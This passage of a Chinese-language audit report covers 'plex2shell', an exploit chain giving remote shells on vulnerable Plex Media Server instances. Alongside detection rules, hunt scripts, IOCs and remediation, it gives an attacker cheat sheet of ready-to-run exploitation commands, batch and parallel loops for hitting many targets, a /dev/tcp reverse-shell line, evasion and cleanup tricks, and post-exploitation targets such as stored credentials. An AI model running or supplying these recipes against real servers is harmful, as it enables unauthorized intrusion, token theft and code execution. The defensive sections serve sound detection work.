  7. Step(2)``GET /:/prefs 验证 owner 权限;
  8. discover_setid;
  9. Step(3) 构建 payload + carrier;
  10. Step(4) 起媒体服务,PUT 偏好,触发第一次转码,等 10s,清偏好;
  11. Step(5) 第二次转码,等反弹连接(45s);
  12. 交互 shell 或 --exec;
  13. finally 清偏好、关监听、关日志。

清理逻辑(L769-779):

finally:
    try:
        if token:
            hget(base, \"/:/prefs\", {\"TranscoderH264Options\": \"\"}, token, method=\"PUT\")
    except Exception:
        pass
    try:
        lsock.close()
    except Exception:
        pass
    log.close()

即使中途异常,也会尽量把 TranscoderH264Options 清空。这是\"最低痕迹\"意识。

6.3 payload_linux.c 审计

  • 17 行,零 libc,raw syscall。
  • sc() 的内联汇编约束正确:\"=a\"(r) 输出,\"a\"(n)/\"D\"(a)/\"S\"(b)/\"d\"(c) 输入,rcx/r11/memory clobber(syscall 会破坏 rcx/r11)。
  • fork → 子进程 execve;父进程直接返回,不 wait。
  • envp={0}:空环境。
  • 缺点:execve 失败时只 exit(7),没有回退;/bin/sh 路径硬编码(Alpine 等无 /bin/sh 的环境会失败)。

6.4 payload_windows.c 审计

  • DllMain 只做\"重生\",避免 loader lock 死锁——正确。
  • 防递归检查 rundll32——正确,但大小写只覆盖两种写法(rundll32/Rundll32),RUNDLL32 会漏(不过 Windows 实际路径通常是 rundll32.exe)。
  • RunShell 用 CALLBACK + dllexport,rundll32 可按名调用。
  • runcmd 的管道/继承处理正确:SetHandleInformation(rd, HANDLE_FLAG_INHERIT, 0) 防止读端被子进程继承。
  • _snprintf 不是安全版本,超长命令会截断;cmdline[8192] 对一般命令够用。
  • WaitForSingleObject(pi.hProcess, 30000) 30s 超时,长命令会被截断。
  • 没有 closesocket 的错误处理分支,但整体可用。

6.5 检测包审计

6.5.1 YARA(detection/yara/plex2shell.yar)

7 条规则,分三档:

规则 档位 抓什么
Plex2Shell_Dropped_Codec_ELF_YUV_Overlay high ELF + 大段低熵尾部(dump-yuv 形状)
Plex2Shell_Dropped_Codec_PE_YUV_Overlay high PE DLL + 大 overlay
Plex2Shell_Dropped_Codec_PoC_Geometry high 文件大小是 345600(640×360 yuv420p 帧)的整数倍 + 0x80 尾
Plex2Shell_Dropped_Codec_Repeated_Frame high 前 4 KiB 在某个偏移重复,且偏移整除文件大小
Plex2Shell_Linux_Payload_NoLibc_Constructor medium 无 DT_NEEDED + /bin/sh + fork/execve/exit 邻近
Plex2Shell_Linux_Payload_RevShell_Command medium 默认反弹命令字符串
Plex2Shell_Windows_Payload_DLL medium READY /__CMDEND__/RunShell
Plex2Shell_PMS_Log_Or_Prefs_Artifacts high 日志/Preferences 里的利用特征
Plex2Shell_Exploit_Tool medium 工具源码特征
Plex2Shell_Payload_Source_Templates medium payload 模板占位符
Plex2Shell_Hunt_Lossless_AllIntra_x264_MP4 hunting qp=0 + keyint=1 的 MP4

设计亮点:

  • 结构规则优于字符串规则:即使 payload 重编译、改字符串,*_YUV_Overlay 仍能命中。
  • 明确标注置信度与失效条件:PoC_Geometry 依赖默认几何;Repeated_Frame 不依赖 padding 值;Hunt_* 明确\"不要单独告警\"。
  • ELF 规则用 elf.type == ET_DYN + 无 DT_NEEDED + 段不覆盖尾部,避免误报静态 libc/musl。
  • PE 规则用 pe.is_dll() + pe.overlay.size > 65536 + 尾部熵 < 0.5,并注释说明\"未 strip 的 mingw 构建会在 overlay 开头带符号表,所以只测最后 64 KiB\"。

可改进点:

  • Plex2Shell_Dropped_Codec_PoC_Geometry 的 filesize % 345600 == 0 对\"非默认几何\"失效,作者自己已注明。
  • Repeated_Frame 对\"单帧载体\"失效,也已注明。
  • 没有针对\"Windows 上 hevc_decoder.dll 命名 + Codecs 目录\"的组合规则(只有 PE 结构规则)。

6.5.2 狩猎脚本(detection/hunt/plex2shell-hunt.sh)

只读,退出码 0/1/2。检查项:

  1. 版本:dpkg-query/rpm/日志里的 Plex Media Server v...,用 sort -V 比较,低于 1.43.3.10861 告警。
  2. Preferences.xml:TranscoderH264Options 是否含 dump-yuv 或 stats=;空值也告警(PoC 用空值清理)。
  3. 日志:高置信正则(timeline protocol、searchOne identifier、dump-yuv)、中置信(resources traversal、sslip.io、poc 标识)、非 loopback 转码。
  4. Codecs 目录:magic 为 ELF/MZ、大小 ≥128 KiB、尾部 64 KiB 单一字节 → HIT;zz[0-9]*.so → HIT;可选 YARA。
  5. 活动进程:
  • /proc/<pid>/maps 里有 (deleted) 的 Codecs 文件 → HIT(rm -f 后仍映射);
  • 命令行含 /dev/tcp/ → HIT;
  • shell 由 Plex Transcoder/Plex Media Server/Plex Script Host 拉起 → HIT;
  • 以 plex 运行且 environ 无 PATH → HIT(空 envp);
  • script -qc /bin/sh /dev/null → WARN。

设计亮点:

  • while read -r -d '' + find -print0 处理含空格路径(Plex 路径里就有 Application Support)。
  • tail_uniform 用 od -An -v -tx1 | tr -s ' ' '\ ' | sort -u | head -2 | wc -l 判断\"尾部是否单一字节\",纯 shell 实现。
  • proc_name 优先 readlink /proc/pid/exe,回退 comm,并处理 (deleted) 后缀。
  • SHELLS 正则覆盖常见 shell。
  • 明确\"run as root for complete /proc coverage\"。

可改进点:

  • version_lt 用 sort -V,对 1.43.3.10861 vs 1.43.3.10828 正确;但对带后缀的包版本(如 1.43.3.10861-1)会先 grep -oE '^[0-9.]+' 截断,基本可用。
  • tail_uniform 只取前两个唯一字节,若尾部恰好两种字节交替会漏;但实际 dump-yuv 是单一填充,够用。
  • 进程检查依赖 /proc,容器内需要挂载宿主 /proc 或进入容器执行。

6.5.3 回归测试(detection/tests/run_tests.sh)

  • 只构造合成 fixture(给正常 .so/.dll 追加 0x80 尾巴),不编译、不加载 payload。
  • 用 expect 做\"精确规则集合\"比对(不是\"至少命中一条\")。
  • 同时测 YARA、hunt 脚本、恶意/良性 fixture。
  • 这是\"检测规则的单元测试\",在安全工具仓库里很少见。

6.6 代码缺陷与不一致(审计发现)

以下是静态审计中确认的问题,按影响排序:

# 位置 问题 影响
1 plex2shell.py:713 错误信息 pass --setid,但 argparse 没有定义--setid discover_setid 失败时,用户按提示加参数会被 argparse 拒绝(unrecognized arguments),无法按提示恢复
2 plex2shell.py:196 错误信息 raise --geometry,但没有定义--geometry 同上;载体重建路径不可用
3 plex2shell.py:620 banner 写 CVSS 10.0,README/commit 已改为 9.8 文档不一致,易误导报告
4 README.md:3 写 < 1.43.3.10828,但 10828 本身也受影响,修复是 10861 版本边界表述不精确,可能导致漏 patch
5 plex2shell.py:643 端口 8952/8933/9001 硬编码,无 CLI 覆盖 端口冲突/多目标并发困难
6 plex2shell.py:642 依赖 sslip.io 外部 DNS 目标无外网 DNS/出站过滤时失败;应支持 nip.io 或自建 DNS
7 plex2shell.py:647 日志落 /tmp/.plexshell_<pid>.log,可预测 本机取证可见;多用户系统可能被读取
8 plex2shell.py:544 rm -f '%s' 单引号包裹,未转义路径中的 ' 极端路径下命令注入/失败(Plex 默认路径不含单引号,风险低)
9 plex2shell.py:700-707 Windows LocalAppDataPath 解析用正则,路径含引号/反斜杠时可能截断 非默认安装路径可能失败
10 plex2shell.py:744 第一次转码后固定 sleep(10) 大载体/慢机器可能未写完就进入第二次转码,导致 dlopen 失败
11 plex2shell.py:308 _TOKEN_RE 只匹配 local- 前缀 若 Plex 改了 token 格式,捕获器会漏
12 plex2shell.py:229 CALLBACKS 只写不读 死代码
13 payload_linux.c:16 execve 失败仅 exit(7) 无回退,失败即静默
14 payload_windows.c:83 防递归只匹配 rundll32/Rundll32 RUNDLL32 全大写会漏(实际影响小)
15 discover_setid:385 正则 [0-9a-f]{7}-[0-9a-f]{24,26} 假设固定格式 不同 Plex 版本 set-id 格式变化会失败

这些缺陷不影响主链成立(在默认路径/默认环境下),但会影响\"非默认环境\"的可靠性。写报告时应如实标注。

6.7 设计妙处(\"骚操作\"清单)

  1. /dev/tty + redirect_stdout 双通道:进度条上终端,细节进日志,互不干扰。
  2. 比特级载体自校验:先本地证明\"编码→解码 = 原字节\",再打目标。
  3. sslip.io 前缀绕过:字符串检查看 127.0.0.1 前缀,DNS 解析看后半段 IP。
  4. # 截断:用 fragment 把拼接在后面的 /messaging/<key> 丢掉。
  5. ? 开查询串:把 identifier 变成\"路径 + 参数\"的完全控制。
  6. dump-yuv 当任意写:x264 调试选项 → fopen/fwrite。
  7. qp=0 无损:保证写入的 .so 与输入逐字节一致。
  8. Codecs 自动 dlopen:不签名、不要可执行位、不要符号 → 文件写即 RCE。
  9. 两次转码:第一次写、第二次加载,避免\"写了但没触发枚举\"。
  10. rm -f so_path 后仍运行:Linux 删除已映射文件不影响执行,磁盘无残留。
  11. hevc_decoder.dll 伪装:Windows 落盘名伪装成正常解码器。
  12. 空 envp:payload 更\"干净\",但也被检测规则反向利用。
  13. script -qc PTY 升级:反弹 shell 支持交互程序。
  14. setsid 脱离会话:减少父进程死亡导致的连带终止。
  15. finally 清偏好:异常也清理,降低持久化痕迹。
  16. set-id 用合法 API 枚举:不猜路径。
  17. 检测包与利用包同仓:攻防成对,便于蓝队验证。

7. 架构设计分析

7.1 分层图

┌─────────────────────────────────────────────────────────────┐
│ CLI 层        argparse(5 参数)+ Step 进度状态机              │
├─────────────────────────────────────────────────────────────┤
│ 编排层        main():阶段 0-5,异常/清理                      │
├─────────────────────────────────────────────────────────────┤
│ 原语层        steal_owner_token / discover_setid /            │
│               run_transcode / build_payload / build_carrier   │
├─────────────────────────────────────────────────────────────┤
│ 传输层        TokenCatcher(8952) / Listener(8933) /           │
│               revshell listener(9001) / hget / preq           │
├─────────────────────────────────────────────────────────────┤
│ 载荷层        payload_linux.c / payload_windows.c             │
├─────────────────────────────────────────────────────────────┤
│ 目标 API      /player/timeline /system/agents /:/prefs        │
│               /video/:/transcode/universal                    │
└─────────────────────────────────────────────────────────────┘

7.2 关键设计决策

决策 理由 代价
纯标准库 攻击机零依赖,落地快 无异步/重试框架,靠 threading 手工编排
分阶段可跳过(--token) 已拿到 token 时省掉最吵的 SSRF 阶段 需要额外的 token 获取途径
payload 现场编译 适配目标架构/OS,避免预编译特征 攻击机需要 gcc/mingw
载体现场生成 几何/大小可按目标调整 需要 ffmpeg,耗时
三个独立端口 职责分离,便于调试 端口固定,易冲突
检测包同仓 蓝队可复现/验证规则 仓库体积略大

7.3 状态机

STAGES 是\"声明式进度\":

STAGES = [(\"Connecting to target\", 12), (\"Capturing owner token\", 40),
          (\"Verifying access\", 52), (\"Building payload\", 72),
          (\"Delivering payload\", 88), (\"Opening session\", 99)]

每个 Step(i) 的 base = STAGES[i-1][1],ceil = STAGES[i][1],进度条从 base 缓动到 ceil。这让\"长时间阻塞操作\"有可感知的反馈,也让失败点一目了然。

7.4 与同类工具的架构对比

工具 架构 与本工具差异
单文件 exploit.py 线性脚本 本工具有 UI/阶段/清理/跨平台/检测包
Metasploit module 框架内、参数化 本工具独立、无框架依赖、更轻
Cobalt Strike aggressor 后渗透平台 本工具只做初始访问,不含 C2
研究型 PoC(如 Project Zero) 最小复现 本工具偏\"产品化\",含蓝队件

8. 落地实网攻防环境

边界:以下内容是\"授权红队/攻防演练\"的作业方法学与防御视角,不构成对任何未授权目标的攻击指引。实网使用必须持有书面授权,并遵守当地法律。

8.1 前置条件核查(打之前先确认)

条件 检查方法 不满足的后果
目标版本 < 1.43.3.10861 curl -s http://T:32400/identity 看 version 链不成立
32400 可达 nmap -p32400 / 直接请求 无法触达
攻击机可被目标反向访问 目标能连回 attacker-ip:8952/8933/9001 token/载体/反弹都失败
目标可解析外部 DNS 目标能解析 sslip.io token 泄露阶段失败
攻击机有 ffmpeg + gcc/mingw command -v 载荷构建失败
目标 Plex 以可写 Codecs 目录运行 默认安装即是 写入失败

8.2 红队作业面(授权范围内)

  1. 外网暴露面测绘:Plex 默认 32400,常见于家庭宽带/小型云主机/NAS。用资产测绘确认版本,不要盲目打。
  2. 优先级:能直连 32400 且版本脆弱的资产 > 仅 Web 反代(可能只暴露 443)> 已打补丁。
  3. OPSEC:
  • 工具会留下 PUT /:/prefs(INFO 级,必记)和 SSRF/转码请求(DEBUG 级);默认日志级别下大部分可见。
  • finally 会清 TranscoderH264Options,但不会清日志;rm -f so_path 会删落盘 .so,但 /proc/<pid>/maps 仍可能显示 (deleted) 映射。
  • token 泄露后,目标侧会记录 Signed-in Token (...);蓝队可通过\"异常 owner token 使用\"发现。
  1. 后渗透:uid=1000(plex) 通常权限有限,但常见高价值:
  • 挂载的媒体库/NFS/SMB(可能含凭据);
  • 同机其他服务配置;
  • 云元数据(若在云主机);
  • Plex 自身的 Preferences.xml(含 PlexOnlineToken)。
  1. 不要做的事:不要在未授权资产上跑;不要用默认端口扫全网;不要在目标上留持久化(本工具本身不留)。

8.3 蓝队检测面(与红队对称)

阶段 detectable 信号
SSRF 注册 /player/proxy/poll 异常客户端;X-Plex-Client-Identifier=poc_*
SSRF 触发 /player/timeline/subscribe 的 protocol= 含 ://;unsubscribe 后 loopback POST
Loopback 注入 /system/agents/*/searchOne 的 identifier 含 %2Ffunction%2F;Loopback 来源的异常请求
Token 泄露 出站请求到 *.sslip.io/*.nip.io;X-Plex-Token 出现在非 Plex 域名
任意写 PUT /:/prefs 的 TranscoderH264Options 含 dump-yuv/stats=
转码 SSRF path=http(s):// 非 loopback;item.xml/carrier.mp4 拉取
落盘 Codecs 目录出现 ELF/PE + 大段 0x80 尾;zz*.so/hevc_decoder.dll
执行 Plex Transcoder 的子进程是 shell;/dev/tcp 命令行;script -qc;plex 用户进程无 PATH
持久化 Preferences.xml 残留 dump-yuv;Codecs 里残留 .so

8.4 处置建议(Plex 官方 + 检测侧)

  1. 升级到 1.43.3.10861+(Linux/NAS/Docker 需手动升级)。
  2. 清理 Codecs 目录(删除未知 .so/.dll)。
  3. 检查 Preferences.xml 的 TranscoderH264Options,清空异常值。
  4. 吊销 token:Plex 设置里\"登出所有设备\",修改 Plex 密码。
  5. 视为可能失陷:若曾公网暴露且版本脆弱,建议干净重装 + 排查挖矿/代理。
  6. 网络侧:不要把 32400 直接暴露公网;用 VPN/反代/防火墙白名单;限制出站 DNS/HTTP。
  7. 监控:对上述信号建规则(YARA + 日志 + 进程 + 网络)。

9. 检测与防御(可执行)

9.1 快速排查命令

# 1) 版本
curl -s http://T:32400/identity | grep -o 'version=\"[^\"]*\"'

# 2) 偏好是否被改
grep -o 'TranscoderH264Options=\"[^\"]*\"' \\
\"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Preferences.xml\"

# 3) Codecs 里的可疑文件(ELF/PE + 大尾巴)
find \"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Codecs\" \\
  -type f -size +128k -exec sh -c 'head -c4 \"$1\" | od -An -tx1' _ {} \\;

# 4) 进程侧
ps -eo pid,ppid,user,args | grep -E 'Plex|/dev/tcp|script -qc'
ls -l /proc/*/exe 2>/dev/null | grep -i codecs

# 5) 日志侧
grep -aE 'timeline/subscribe.*protocol=.*(%3a|:)' \\
\"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server/Logs/\"*.log
grep -aE 'searchOne.*identifier=.*(%2f|/)function(%2f|/)' .../Logs/*.log
grep -aE 'TranscoderH264Options.*(dump-yuv|stats=)' .../Logs/*.log
grep -aE '(sslip|nip)\\.io' .../Logs/*.log

9.2 YARA

yara -r -w detection/yara/plex2shell.yar \\
  \"/var/lib/plexmediaserver/Library/Application Support/Plex Media Server\"

三档使用建议:

  • high:可直接告警(结构规则,抗改编译)。
  • medium:用于 triage,需人工确认。
  • hunting:只用于排序,不单独告警(lossless all-intra 也可能是正常制作流程)。

9.3 主机狩猎

sudo ./detection/hunt/plex2shell-hunt.sh
# 指定目录(离线拷贝)
./detection/hunt/plex2shell-hunt.sh -P -a \"/path/to/Plex Media Server\"
# 指定规则
./detection/hunt/plex2shell-hunt.sh -y detection/yara/plex2shell.yar

退出码:0 干净,1 警告,2 命中。

9.4 网络侧

  • 出站 DNS 日志里出现 *.sslip.io、*.nip.io(尤其是 127.0.0.1.* 前缀)→ 高危。
  • Plex 主机出站到非标准端口(8952/8933/9001)→ 可疑。
  • Plex 主机对自身 32400 的 loopback POST 突然增多 → 可疑。
  • 转码器拉取外部 item.xml/carrier.mp4 → 可疑。

9.5 修复优先级

优先级 动作
P0 升级到 1.43.3.10861+;清理 Codecs;吊销 token
P1 关闭 32400 公网直连;加 VPN/反代
P2 限制出站 DNS/HTTP;监控 sslip.io
P3 部署 YARA/狩猎脚本;建日志告警

10. Cheat Sheet:把参数当\"功能模块\"

工具的 CLI 只有 5 个业务参数,但每个参数都是一个\"能力开关\"。下面按\"模块组合\"给出配方。 注意:-h/--help 是帮助;-H 不是本工具的参数(不要混用)。

10.1 参数语义表

参数 类型 作用 可组合性
--target host:port 必填 目标 PMS 单目标;批量需外层循环
--attacker-ip IP 必填 目标回连地址 必须是目标可达的地址
--target-os {linux-native,linux-docker,windows} 可选,默认 linux-native 决定路径/后缀/编译器 与目标实际部署一致
--token TOKEN 可选 跳过 SSRF,直接用 owner token 与 --target-os 组合
--exec CMD 可选 单命令执行后退出 与 --token 组合最稳
-h/--help 可选 帮助 —

10.2 基础配方

# R1 标准直连(Linux 原生)
python3 plex2shell.py \\
  --target 10.0.0.5:32400 \\
  --attacker-ip 203.0.113.9

# R2 Docker 部署
python3 plex2shell.py \\
  --target 10.0.0.5:32400 \\
  --attacker-ip 203.0.113.9 \\
  --target-os linux-docker

# R3 Windows 目标(需要 mingw)
python3 plex2shell.py \\
  --target 10.0.0.5:32400 \\
  --attacker-ip 203.0.113.9 \\
  --target-os windows

10.3 分阶段配方(先拿 token,再复用)

# R4 只走 SSRF 拿 token(不落 payload):可用 --exec 跑一个无害命令观察
python3 plex2shell.py --target T:32400 --attacker-ip A --exec'id'

# R5 已拿到 owner token:跳过最吵的 SSRF 阶段
python3 plex2shell.py \\
  --target T:32400 --attacker-ip A \\
  --token 'local-xxxxxxxx-xxxx-xxxx-xxxx-xxxxxxxxxxxx' \\
  --target-os linux-docker \\
  --exec'id; uname -a; ls -la /config'

# R6 单命令 + 指定 OS + 静默
python3 plex2shell.py --target T:32400 --attacker-ip A --target-os windows \\
  --exec'whoami /all'

10.4 批量与脚本化(外层把参数当模块)

# R7 逐目标串行,日志分文件(注意端口是硬编码的,串行最稳)
while IFS=: read -r host port; do
echo\"== $host:$port ==\"
  timeout 300 python3 plex2shell.py \\
    --target \"$host:$port\" --attacker-ip \"$ATTACKER\" \\
    --target-os linux-docker --exec'id' \\
    >> \"out/${host}_${port}.log\" 2>&1
done < targets.txt

# R8 并行(必须做网络隔离/端口重映射,否则 8952/8933/9001 冲突)
# 方案:每个任务一个 network namespace + 端口映射
for t in $(cat targets.txt); do
  unshare -n -- bash -c \"
    ip link set lo up
    ip addr add 10.99.0.2/24 dev lo 2>/dev/null || true
    python3 plex2shell.py --target $t --attacker-ip 10.99.0.2 --exec 'id'
  \" &
done
wait

说明:工具没有 --token-port/--carrier-port/--lport 参数(硬编码在 plex2shell.py:643)。要并行,必须做命名空间/端口重映射,或改源码。

# R9 从 token 文件批量复用(假设已通过其他途径获得 token)
while read -r target token; do
  python3 plex2shell.py --target \"$target\" --attacker-ip \"$ATTACKER\" \\
    --token \"$token\" --exec 'id'
done < tokens.tsv
# R10 结果结构化:只取命令输出,过滤 UI
python3 plex2shell.py --target T:32400 --attacker-ip A --exec 'id' 2>/dev/null \\
  | sed -n '/session opened/,$p' | grep -v '^$'

10.5 前置/后置模块

# R11 版本预检(不进利用链)
curl -s --max-time 5 \"http://$T:32400/identity\" | grep -o 'version=\"[^\"]*\"'

# R12 只验证 owner 权限(需要 token)
curl -s -H \"X-Plex-Token: $TOKEN\" \"http://$T:32400/:/prefs\" -o /dev/null -w '%{http_code}\
'

# R13 检测侧:跑 YARA + 狩猎
yara -r -w detection/yara/plex2shell.yar \"$PLEX_DIR\"
sudo detection/hunt/plex2shell-hunt.sh -a \"$PLEX_DIR\"

# R14 清理(防守方)
# 升级 + 清 Codecs + 清偏好 + 吊销 token(在 Plex UI 操作)

10.6 常见组合陷阱

陷阱 现象 处理
--target 不带端口 --target must be host:port 补 :32400
--attacker-ip 用了目标不可达的私网地址 token 捕获超时 用目标能回连的地址
目标无外网 DNS sslip.io 解析失败,token 拿不到 改用 --token 跳过;或自建 DNS
端口被占用 Address already in use 串行;或改源码端口
Windows 目标没 mingw need 'x86_64-w64-mingw32-gcc' apt install gcc-mingw-w64-x86-64
--setid 报错 argparse 不认识 这是代码缺陷(见 6.6),需改源码
目标版本已修复 prefs returned 401/403 换目标/放弃

11. 冷门但常用的命令语法(本项目语境)

这些语法在工具源码/检测脚本里真实出现,或在其作业流程中高频使用;\"冷门\"指容易被忽略但很实用。

11.1 Python

语法 用途 例子
argparse 的 dest= 参数名与变量名解耦 --exec → args.exec_cmd
shutil.which() 跨平台找可执行文件 shutil.which(\"gcc\")
subprocess.check_call([...]) 列表参数避免 shell 注入 编译 payload
redirect_stdout(log) 只重定向 Python 层 stdout 进度条与日志分离
threading.Event 线程间\"完成/命中\"信号 listener.got.wait(timeout=...)
daemon=True 主线程退出时自动清理 监听线程
socket.settimeout / setblocking(False) 非阻塞收包 PTY 桥
select.select([0, conn], [], []) 同时等 stdin 和 socket 交互 shell
termios.tcgetattr/tcsetattr + tty.setraw 原始终端模式 交互 shell
fcntl.ioctl(TIOCGWINSZ) 取终端行列 stty rows/cols
struct.unpack(\"HHHH\", ...) 解析 winsize 同上
urllib.parse.quote(s, safe=\"\") 全编码(含 /) 双重编码
urllib.parse.urlencode(params, quote_via=quote) 查询串编码 PUT /:/prefs
open(\"/dev/tty\",\"w\") 绕过 stdout 重定向 进度条
types.SimpleNamespace(...) 临时参数对象 sargs
with redirect_stdout(log): 上下文管理器 阶段日志
data[:4] != b\"\\x7fELF\" magic 校验 payload 校验
frame * 3 重复字节序列 三帧载体
re.search(rb'...', body) 字节正则 set-id 提取

11.2 Bash / 检测脚本

语法 用途 例子
set -u 未定义变量报错 狩猎脚本开头
LC_ALL=C 稳定排序/字节比较 同上
while IFS= read -r -d '' f; do ...; done < <(find ... -print0) 安全处理含空格/换行文件名 Plex 路径含空格
$(cd \"$(dirname \"$0\")\" && pwd) 脚本自定位 SELF_DIR
getopts \"a:y:Ph\" 短选项解析 狩猎脚本
`printf '%s\
%s\
' a b \ sort -V \ head -1| 版本比较 |version_lt`
grep -aoE 只取匹配、按文本处理二进制 日志提取
od -An -v -tx1 十六进制 dump magic 检查
`tr -s ' ' '\
' \ sort -u \ head -2 \
stat -c %s/%y/%U 大小/时间/属主 取证
readlink /proc/$pid/exe 进程真实路径 proc_name
${e% (deleted)} 去掉后缀 处理 deleted
tr '\\0' ' ' < /proc/$pid/cmdline 读命令行 进程检查
`tr '\0' '\
' < /proc/$pid/environ` 读环境变量 空 PATH 检测
awk '{$1=$2=$3=$4=$5=\"\"; print}' 去掉 maps 前五列 映射检查
find ... -print0 + read -d '' 空字符分隔 防空格
2>/dev/null 静默错误 大量使用
\\r\\033[K 清行 + 回车 进度条
exec 0<>/dev/tcp/IP/PORT bash 内建 TCP 反弹 shell
script -qc /bin/bash /dev/null 分配 PTY 交互升级
setsid ... & 新会话后台 脱管

11.3 YARA

语法 用途
uint32(0) == 0x464C457F ELF magic
uint16(0) == 0x5A4D PE magic
elf.type == elf.ET_DYN 共享对象
for none i in (0 .. elf.dynamic_section_entries - 1) : (...) 断言无 DT_NEEDED
for all i in (0 .. elf.number_of_segments - 1) : (...) 所有段不覆盖尾部
math.entropy(offset, length) 尾部熵
math.count(0x80, offset, length) 统计填充字节
hash.md5(offset, length) 重复块比对
pe.overlay.size PE overlay
pe.exports(\"RunShell\") 导出符号
for any i in (1 .. #fork) 多匹配遍历
@exec[j] - @fork[i] < 256 指令邻近度
2 of them / all of them 字符串集合
nocase 大小写不敏感
filesize % 345600 == 0 几何特征

12. AI 辅助设计:头脑风暴与多版本对比

作者在 write-up 里明确说:用 LLM 做 Recon → Hunt → Verify → Chain,但\"判断和优先级是人做的\"。下面把这个方法拆成可复用的设计。

12.1 AI 辅助的四阶段

阶段 给 AI 的输入 要 AI 产出 人负责什么
Recon 架构文档/二进制符号/路由表 组件图、输入→sink 清单 划定边界、去重、判断可达性
Hunt 单个组件 + sink 清单 候选漏洞、触发条件 排除误报、判断可利用性
Verify 候选 + 反证要求 \"反方论证\"(为什么它不成立) 决定是否继续
Chain 已确认原语列表 组合路径、影响评估 选最大影响链、控制风险

关键:Verify 阶段要\"让 AI 试图推翻\",而不是\"让 AI 确认\"。这能显著降低幻觉。

12.2 方案对比(同一目标,不同打法)

方案 路径 前置 噪声 可靠性 适用
A 全链直连 SSRF → token → 写 → 执行 目标可回连 + DNS 高(SSRF/转码/日志) 中(依赖 sslip.io/时序) 授权红队、一次性
B 预捕获 token 跳过 SSRF,直接 --token 已有 owner token 低(只有 prefs/转码) 高(少两跳) 已控 token、复测
C 仅验证 SSRF 只打 timeline,不拿 token 无 中 高 漏洞验证/报告
D 仅验证文件写 有 token,只做 dump-yuv owner token 低 高 验证 96655/96656
E 检测优先 不利用,跑 YARA/hunt 无 无 高 蓝队、应急
F 纯静态 读源码/补丁 无 无 高 研究、报告

选择建议:

  • 授权红队且要\"完整战果\":A(或 B 如果已有 token)。
  • 只做漏洞验证:C/D,减少影响面。
  • 蓝队/应急:E。
  • 写报告/研究:F + 公开 write-up。

12.3 设计迭代思路(如果要做\"二代\")

改进点 现状 建议
端口可配置 硬编码 8952/8933/9001 加 --token-port/--carrier-port/--lport
DNS 备选 只用 sslip.io 支持 nip.io、自建 DNS、--dns-suffix
可靠性 固定 sleep(10) 轮询 Codecs 文件出现/大小稳定
错误恢复 --setid /--geometry 未定义 补全参数
多目标 单目标 内置队列 + 命名空间隔离
载体 固定 640×360 自动选择最小可行几何
检测 已有 YARA/hunt 加 Sigma/EDR 规则、网络 IDS 规则
OPSEC 日志可预测 随机日志名、内存日志、退出清理

12.4 AI 辅助的边界

  • AI 擅长:枚举、模式匹配、生成候选、写检测规则、整理报告。
  • AI 不擅长:判断\"这个输入是否真的可达\"、评估业务影响、决定是否值得打。
  • 结论:AI 做广度,人做深度与决策。作者的 write-up 也是这个立场。

13. 结论与局限

13.1 结论

  1. plex2shell 是一个高质量、产品化的漏洞链 PoC:分阶段 UI、跨平台、载体自校验、清理逻辑、检测包齐全。
  2. 它的核心不是\"某个单点漏洞\",而是四个中低危缺陷的组合:存在性鉴权 → loopback 信任 → 前缀匹配 + DNS 解析差 → 调试选项任意写 → 无签名加载。
  3. 技术上有两个真正的\"亮点\":
  • lossless H.264 YUV 作为二进制载体(qp=0 + dump-yuv);
  • 127.0.0.1 前缀 + sslip.io 的认证/解析差。
  1. 防御上,单看 CVE 分值会低估风险;必须按\"链\"评估,并优先处理\"可组合的低危\"。
  2. 工具本身有若干工程缺陷(--setid/--geometry 未定义、端口硬编码、固定 sleep),不影响默认环境主链,但影响非默认环境的可靠性。

13.2 局限

  • 本报告是静态审计:未在真实 Plex 实例上复现,所有\"执行\"描述基于公开 write-up + 源码 + 官方通告。
  • 未验证 Windows/NAS/macOS 分支的实际可用性;PLATFORMS 只覆盖三种。
  • 未对 Plex 二进制做逆向(avpriv_load_new_libs、hasParam 等来自作者 write-up,未独立复核字节级实现)。
  • CVE 分值以 NVD 为准;不同来源(Censys/CSH)有差异,已在文中标注。

附录 A:IOC 与映射

A.1 主机 IOC

类型 值
文件路径 /Codecs/<setid>-<platform>/zz<digits>.so
文件路径 /Codecs/<setid>-windows-x86_64/hevc_decoder.dll
文件特征 ELF/PE + 尾部 ≥64 KiB 单一 0x80;大小常为 345600 的倍数
配置 Preferences.xml 的 TranscoderH264Options 含 dump-yuv= 或 stats=
进程 Plex Transcoder 子进程为 shell;/dev/tcp;script -qc;plex 用户无 PATH
内存 /proc/<pid>/maps 有 (deleted) 的 Codecs 文件

A.2 网络 IOC

类型 值
域名 *.sslip.io 、*.nip.io(尤其 127.0.0.1.* 前缀)
请求 /player/timeline/subscribe?...protocol=<URL>
请求 /system/agents/*/searchOne?...identifier=...%2Ffunction%2F...
请求 PUT /:/prefs?TranscoderH264Options=dump-yuv=...
请求 /video/:/transcode/universal?...path=http(s)://...
端口 8952(token)、8933(媒体)、9001(反弹)

A.3 MITRE ATT&CK

战术 技术
Initial Access T1190 Exploit Public-Facing Application
Credential Access T1552 Unsecured Credentials(token 泄露)
Valid Accounts T1078(owner token 复用)
Execution T1059.004 Unix Shell / T1059.003 Windows Command Shell
Ingress Tool Transfer T1105
Hijack Execution Flow T1574(Codecs 目录加载)
Resource Hijacking T1496(在野挖矿)
Proxy T1090(在野 proxyware)
Indicator Removal T1070(清偏好、删 .so)

附录 B:关键源码索引

功能 位置
参数定义 plex2shell.py:619-629
平台表 plex2shell.py:115-134
Linux payload 构建 plex2shell.py:150-163
Windows payload 构建 plex2shell.py:166-181
载体构建 + 自校验 plex2shell.py:190-220
反弹命令 plex2shell.py:223-225
item.xml 模板 plex2shell.py:231-237
媒体 HTTP 服务 plex2shell.py:240-305
token 捕获器 plex2shell.py:311-350
Plex HTTP 辅助 plex2shell.py:354-412
token 窃取 plex2shell.py:416-455
Windows 协议 plex2shell.py:459-484
PTY 交互 plex2shell.py:524-574
单命令执行 plex2shell.py:578-614
主流程 plex2shell.py:618-782
Linux payload payload_linux.c:1-17
Windows payload payload_windows.c:1-97
YARA detection/yara/plex2shell.yar
狩猎脚本 detection/hunt/plex2shell-hunt.sh
回归测试 detection/tests/run_tests.sh

附录 C:参考

  1. 作者 write-up:https://zmain.info/blog/plex2shell
  2. 仓库:https://github.com/code-zm/plex2shell
  3. NVD CVE-2026-96652 / -96654 / -96655 / -96656
  4. CISA KEV(2026-10-20)
  5. Censys Rapid Response 通告(2026-10-20)
